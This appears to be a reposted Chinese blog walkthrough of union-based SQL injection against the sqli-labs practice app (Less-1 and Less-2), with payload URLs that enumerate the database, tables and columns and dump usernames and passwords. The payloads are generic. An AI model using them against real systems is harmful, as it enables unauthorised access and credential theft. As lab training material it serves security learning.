sql----联合注入攻击

1.sqli-less1进行联合注入攻击爆数据
判断注入点:
注入漏洞类型判断:
判断数据库表的字段数 order by 1-99 来判断字段数:?id’ order by 4 --+
在这里插入图片描述
判断输出的位置:
在这里插入图片描述
爆库名:
在这里插入图片描述
爆表名:
http://localhost/sqli/Less-1/?id=0’ union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security ‘) --+
在这里插入图片描述
爆字段名:
http://localhost/sqli/Less-1/?id=0’ union select 1, (select group_concat(column_name) from information_schema.columns where table_schema='security ’ and table_name='users ‘),3–+
在这里插入图片描述
爆数据:
http://localhost/sqli/Less-1/?id=0’ union select 1,(select group_concat(id,0x3a,username,0x3a,password) from security.users ),3 --+
在这里插入图片描述
2.sqli-less2进行联合注入攻击爆数据
判断注入点:
注入漏洞类型判断:
判断数据库表的字段数:写到order by 4 的时候报错,说明只有3个字段。
在这里插入图片描述
判断输出的位置:
在这里插入图片描述
爆库名:
http://localhost/sqli/Less-2/?id=0 union select 1,2,database()
在这里插入图片描述
爆表名:
http://localhost/sqli/Less-2/?id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)
在这里插入图片描述
爆字段名:
http://localhost/sqli/Less-2/?id=0 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)
在这里插入图片描述
爆数据:
union select 1,(select group_concat(username,0x3a,password) from test.users),3
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/MD_YAN/article/details/107567510